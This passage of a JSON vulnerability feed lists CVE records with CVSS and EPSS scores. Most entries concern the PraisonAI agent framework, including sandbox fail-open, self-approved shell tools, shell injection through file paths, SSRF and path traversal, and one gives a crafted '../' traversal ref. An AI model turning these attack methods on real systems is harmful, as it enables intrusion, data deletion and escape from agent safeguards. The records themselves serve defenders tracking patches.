advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:11.847Z","updatedAt":"2026-10-23T19:57:42.660Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-57210","asOf":"2026-10-23T19:57:42.660Z"},"epss":{"probability":0.00307,"percentile":0.23252,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-57210&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-57210","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-57210","type":"primary","publishedAt":"2026-10-23T13:17:11.847Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-57210&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-57210, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-57209","cveId":"CVE-2026-57209","aliases":[],"kind":"vulnerability","title":"Heimdall is a cloud native Identity Aware Proxy and Access Control Decision service.","summary":"Heimdall is a cloud native Identity Aware Proxy and Access Control Decision service. Prior to version 0.17.17, when Heimdall operates in proxy mode, it constructs the Forwarded HTTP header after executing the matched rule pipeline by inserting the incoming request's Host header value directly into the header string without sanitizing commas or semicolons. This allows an attacker to inject additional parameters into the Forwarded header, potentially spoofing IP addresses for upstream services. This issue has been patched in version 0.17.17.","detail":"Heimdall is a cloud native Identity Aware Proxy and Access Control Decision service. Prior to version 0.17.17, when Heimdall operates in proxy mode, it constructs the Forwarded HTTP header after executing the matched rule pipeline by inserting the incoming request's Host header value directly into the header string without sanitizing commas or semicolons. This allows an attacker to inject additional parameters into the Forwarded header, potentially spoofing IP addresses for upstream services. This issue has been patched in version 0.17.17.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:11.687Z","updatedAt":"2026-10-23T19:57:42.660Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-57209","asOf":"2026-10-23T19:57:42.660Z"},"epss":{"probability":0.00336,"percentile":0.26711,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-57209&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-57209","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-57209","type":"primary","publishedAt":"2026-10-23T13:17:11.687Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-57209&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-57209, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-57146","cveId":"CVE-2026-57146","aliases":[],"kind":"vulnerability","title":"PraisonAI is a multi-agent teams system.","summary":"PraisonAI is a multi-agent teams system. From version 4.5.115 to before version 4.6.61, the published A2U advisory GHSA-f292-66h9-fpmf says unauthenticated A2U event streaming was fixed in praisonai 4.5.115. Current head still exposes the same A2U subscription and event routes without authentication when the operator starts the documented CLI entrypoint. The current CLI wrapper does not expose --api-key, does not install the common API-key middleware, and does not generate a token for A2U. It calls create_a2u_routes(app) directly. That helper only enforces auth if A2U_AUTH_TOKEN is already present; if the variable is missing, _authenticate_request() returns None and treats auth as disabled. This issue has been patched in version 4.6.61.","detail":"PraisonAI is a multi-agent teams system. From version 4.5.115 to before version 4.6.61, the published A2U advisory GHSA-f292-66h9-fpmf says unauthenticated A2U event streaming was fixed in praisonai 4.5.115. Current head still exposes the same A2U subscription and event routes without authentication when the operator starts the documented CLI entrypoint. The current CLI wrapper does not expose --api-key, does not install the common API-key middleware, and does not generate a token for A2U. It calls create_a2u_routes(app) directly. That helper only enforces auth if A2U_AUTH_TOKEN is already present; if the variable is missing, _authenticate_request() returns None and treats auth as disabled. This issue has been patched in version 4.6.61.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:11.527Z","updatedAt":"2026-10-23T13:17:11.647Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-57146","asOf":"2026-10-23T13:17:11.647Z"},"epss":{"probability":0.00343,"percentile":0.27599,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-57146&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-57146","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-57146","type":"primary","publishedAt":"2026-10-23T13:17:11.527Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-57146&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-57146, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-57144","cveId":"CVE-2026-57144","aliases":[],"kind":"vulnerability","title":"PraisonAI is a multi-agent teams system.","summary":"PraisonAI is a multi-agent teams system. From version 4.5.110 to before version 4.6.61, praisonai.sandbox.SandlockSandbox is documented and implemented as the kernel-enforced sandbox backend for untrusted code. Its SandboxConfig.native() path lets callers configure allowed filesystem paths and network=False. On systems where the optional sandlock module imports but reports that Landlock is unavailable, SandlockSandbox.execute() and run_command() do not fail closed. They silently fall back to SubprocessSandbox(self.config). That fallback keeps the same high-level native policy object but does not enforce the native filesystem or network boundary during code execution. A sandboxed payload can read files outside the configured allowed path and open network connections despite network=False. This issue has been patched in version 4.6.61.","detail":"PraisonAI is a multi-agent teams system. From version 4.5.110 to before version 4.6.61, praisonai.sandbox.SandlockSandbox is documented and implemented as the kernel-enforced sandbox backend for untrusted code. Its SandboxConfig.native() path lets callers configure allowed filesystem paths and network=False. On systems where the optional sandlock module imports but reports that Landlock is unavailable, SandlockSandbox.execute() and run_command() do not fail closed. They silently fall back to SubprocessSandbox(self.config). That fallback keeps the same high-level native policy object but does not enforce the native filesystem or network boundary during code execution. A sandboxed payload can read files outside the configured allowed path and open network connections despite network=False. This issue has been patched in version 4.6.61.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:11.370Z","updatedAt":"2026-10-23T13:17:11.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-57144","asOf":"2026-10-23T13:17:11.490Z"},"epss":{"probability":0.00123,"percentile":0.02073,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-57144&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-57144","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-57144","type":"primary","publishedAt":"2026-10-23T13:17:11.370Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-57144&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-57144, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-57142","cveId":"CVE-2026-57142","aliases":[],"kind":"vulnerability","title":"PraisonAI is a multi-agent teams system.","summary":"PraisonAI is a multi-agent teams system. From version 4.5.87 to before version 4.6.61, PraisonAI recipe execution has a dangerous-tool policy that is supposed to block default-denied tools unless the caller explicitly passes allow_dangerous_tools=True. That policy only checks tools declared in TEMPLATE.yaml requires.tools. For steps-based recipes, the actual execution path loads workflow.yaml with YAMLWorkflowParser. That parser resolves agent-level tools: declarations and preserves top-level approve:. Workflow.start() then installs those YAML-approved tools into the approval context. As a result, an untrusted recipe can omit execute_command from TEMPLATE.yaml requires.tools, declare it in workflow.yaml agents.*.tools, and add top-level approve: [execute_command]. The caller did not set allow_dangerous_tools=True, but the recipe policy allows the recipe and the workflow approval path self-approves the critical shell tool. This issue has been patched in version 4.6.61.","detail":"PraisonAI is a multi-agent teams system. From version 4.5.87 to before version 4.6.61, PraisonAI recipe execution has a dangerous-tool policy that is supposed to block default-denied tools unless the caller explicitly passes allow_dangerous_tools=True. That policy only checks tools declared in TEMPLATE.yaml requires.tools. For steps-based recipes, the actual execution path loads workflow.yaml with YAMLWorkflowParser. That parser resolves agent-level tools: declarations and preserves top-level approve:. Workflow.start() then installs those YAML-approved tools into the approval context. As a result, an untrusted recipe can omit execute_command from TEMPLATE.yaml requires.tools, declare it in workflow.yaml agents.*.tools, and add top-level approve: [execute_command]. The caller did not set allow_dangerous_tools=True, but the recipe policy allows the recipe and the workflow approval path self-approves the critical shell tool. This issue has been patched in version 4.6.61.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:11.210Z","updatedAt":"2026-10-23T13:17:11.330Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-57142","asOf":"2026-10-23T13:17:11.330Z"},"epss":{"probability":0.00146,"percentile":0.03816,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-57142&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-57142","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-57142","type":"primary","publishedAt":"2026-10-23T13:17:11.210Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-57142&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-57142, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-57121","cveId":"CVE-2026-57121","aliases":[],"kind":"vulnerability","title":"PraisonAI is a multi-agent teams system.","summary":"PraisonAI is a multi-agent teams system. From version 0.1.4 to before version 0.1.5 in praisonai-platform, a workspace member can permanently delete any resource — projects, agents, issues, labels, issue dependencies, and issue-label attachments — created by the workspace owner or other members. All six content DELETE endpoints enforce workspace membership but perform no ownership or role check. A single malicious or compromised member account can wipe an entire workspace's content irreversibly. This issue has been patched in version 0.1.5.","detail":"PraisonAI is a multi-agent teams system. From version 0.1.4 to before version 0.1.5 in praisonai-platform, a workspace member can permanently delete any resource — projects, agents, issues, labels, issue dependencies, and issue-label attachments — created by the workspace owner or other members. All six content DELETE endpoints enforce workspace membership but perform no ownership or role check. A single malicious or compromised member account can wipe an entire workspace's content irreversibly. This issue has been patched in version 0.1.5.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:11.057Z","updatedAt":"2026-10-23T15:17:34.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-57121","asOf":"2026-10-23T15:17:34.020Z"},"epss":{"probability":0.00329,"percentile":0.25766,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-57121&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-57121","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-57121","type":"primary","publishedAt":"2026-10-23T13:17:11.057Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-57121&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-57121, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-57117","cveId":"CVE-2026-57117","aliases":[],"kind":"vulnerability","title":"PraisonAI is a multi-agent teams system.","summary":"PraisonAI is a multi-agent teams system. From version 4.6.10 to before version 4.6.59, LocalManagedAgent / SandboxedAgent compute bridging wraps read_file, list_files, and write_file when a compute provider is attached. The bridge converts those file operations into shell command strings using raw path arguments, then sends those strings to shell-backed compute providers. An attacker who can influence a file-tool path argument can break out of the quoted path and execute arbitrary shell commands in the compute environment. With compute=\"local\", commands execute through the local subprocess compute provider on the host. With Docker, commands execute in the container. This issue has been patched in version 4.6.59.","detail":"PraisonAI is a multi-agent teams system. From version 4.6.10 to before version 4.6.59, LocalManagedAgent / SandboxedAgent compute bridging wraps read_file, list_files, and write_file when a compute provider is attached. The bridge converts those file operations into shell command strings using raw path arguments, then sends those strings to shell-backed compute providers. An attacker who can influence a file-tool path argument can break out of the quoted path and execute arbitrary shell commands in the compute environment. With compute=\"local\", commands execute through the local subprocess compute provider on the host. With Docker, commands execute in the container. This issue has been patched in version 4.6.59.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:10.870Z","updatedAt":"2026-10-23T13:17:11.023Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-57117","asOf":"2026-10-23T13:17:11.023Z"},"epss":{"probability":0.00401,"percentile":0.34117,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-57117&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-57117","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-57117","type":"primary","publishedAt":"2026-10-23T13:17:10.870Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-57117&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-57117, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-57114","cveId":"CVE-2026-57114","aliases":[],"kind":"vulnerability","title":"PraisonAI is a multi-agent teams system.","summary":"PraisonAI is a multi-agent teams system. From version 4.5.126 to before version 4.6.59, PraisonAI's Async Jobs API validates webhook_url when a job request is parsed and again when the internal Job object is constructed. That validation blocks direct loopback/private targets, but it is not bound to the later network request. When a job completes, _send_webhook() passes the original hostname to httpx.AsyncClient.post() with no send-time validation, IP pinning, or guarded transport. An attacker-controlled hostname can therefore resolve to a public IP during Pydantic validation and later resolve to loopback/private/cloud-metadata infrastructure during webhook delivery. This bypasses the intended SSRF guard in current supported releases. This appears to be an incomplete fix / patch bypass for GHSA-8frj-8q3m-xhgm. This issue has been patched in version 4.6.59.","detail":"PraisonAI is a multi-agent teams system. From version 4.5.126 to before version 4.6.59, PraisonAI's Async Jobs API validates webhook_url when a job request is parsed and again when the internal Job object is constructed. That validation blocks direct loopback/private targets, but it is not bound to the later network request. When a job completes, _send_webhook() passes the original hostname to httpx.AsyncClient.post() with no send-time validation, IP pinning, or guarded transport. An attacker-controlled hostname can therefore resolve to a public IP during Pydantic validation and later resolve to loopback/private/cloud-metadata infrastructure during webhook delivery. This bypasses the intended SSRF guard in current supported releases. This appears to be an incomplete fix / patch bypass for GHSA-8frj-8q3m-xhgm. This issue has been patched in version 4.6.59.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:10.533Z","updatedAt":"2026-10-23T13:17:10.657Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-57114","asOf":"2026-10-23T13:17:10.657Z"},"epss":{"probability":0.00187,"percentile":0.08202,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-57114&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-57114","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-57114","type":"primary","publishedAt":"2026-10-23T13:17:10.533Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-57114&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-57114, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-57113","cveId":"CVE-2026-57113","aliases":[],"kind":"vulnerability","title":"PraisonAI is a multi-agent teams system.","summary":"PraisonAI is a multi-agent teams system. From version 2.6.0 to before version 4.6.59, PraisonAI's template loader accepts GitHub template URIs with refs, for example github:owner/repo/template@v1.0.0. The resolver stores the user-controlled template path and ref verbatim, and the cache layer later joins those values into ~/.praison/cache/templates/github/<owner>/<repo>/<template>/<ref> without normalizing each segment or checking that the final path remains inside the template cache root. A crafted ref such as ../../../../../../outside-delete-target therefore escapes the cache directory. The first load can write .cache_meta.json outside the cache. If the normal cache hierarchy for the same owner/repo/template has already been created, the same path reaches shutil.rmtree(cache_path) and removes an attacker-selected outside directory before replacing it with cache metadata. This issue has been patched in version 4.6.59.","detail":"PraisonAI is a multi-agent teams system. From version 2.6.0 to before version 4.6.59, PraisonAI's template loader accepts GitHub template URIs with refs, for example github:owner/repo/template@v1.0.0. The resolver stores the user-controlled template path and ref verbatim, and the cache layer later joins those values into ~/.praison/cache/templates/github/<owner>/<repo>/<template>/<ref> without normalizing each segment or checking that the final path remains inside the template cache root. A crafted ref such as ../../../../../../outside-delete-target therefore escapes the cache directory. The first load can write .cache_meta.json outside the cache. If the normal cache hierarchy for the same owner/repo/template has already been created, the same path reaches shutil.rmtree(cache_path) and removes an attacker-selected outside directory before replacing it with cache metadata. This issue has been patched in version 4.6.59.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:10.373Z","updatedAt":"2026-10-23T15:17:33.910Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-57113","asOf":"2026-10-23T15:17:33.910Z"},"epss":{"probability":0.00405,"percentile":0.34433,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-57113&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-57113","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-57113","type":"primary","publishedAt":"2026-10-23T13:17:10.373Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-57113&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-57113, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-55889","cveId":"CVE-2026-55889","aliases":[],"kind":"vulnerability","title":"XDG Desktop Portal is a desktop integration portal.","summary":"XDG Desktop Portal is a desktop integration portal. Prior to version 1.22.1, malicious sandboxed applications can use the FileTransfer.RetrieveFiles method to redirect drag-and-drop and copy-paste data targeted at other applications to itself. Some portals generate tokens which provide access to resources. The sharing of the token transfers access to the resource and is supposed to happen out of band. The tokens were generated with g_random_int or g_uuid_string_random, both of which use GLib's GRand based on the Mersenne Twister PRNG which created a stream of reproducible random numbers. By generating enough tokens, the state of the GRand can be recover and with it, the next tokens can be predictedinsufin. This issue has been patched in version 1.22.1.","detail":"XDG Desktop Portal is a desktop integration portal. Prior to version 1.22.1, malicious sandboxed applications can use the FileTransfer.RetrieveFiles method to redirect drag-and-drop and copy-paste data targeted at other applications to itself. Some portals generate tokens which provide access to resources. The sharing of the token transfers access to the resource and is supposed to happen out of band. The tokens were generated with g_random_int or g_uuid_string_random, both of which use GLib's GRand based on the Mersenne Twister PRNG which created a stream of reproducible random numbers. By generating enough tokens, the state of the GRand can be recover and with it, the next tokens can be predictedinsufin. This issue has been patched in version 1.22.1.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T13:17:10.230Z","updatedAt":"2026-10-23T19:42:24.553Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-55889","asOf":"2026-10-23T19:42:24.553Z"},"epss":{"probability":0.00345,"percentile":0.27714,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-55889&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD 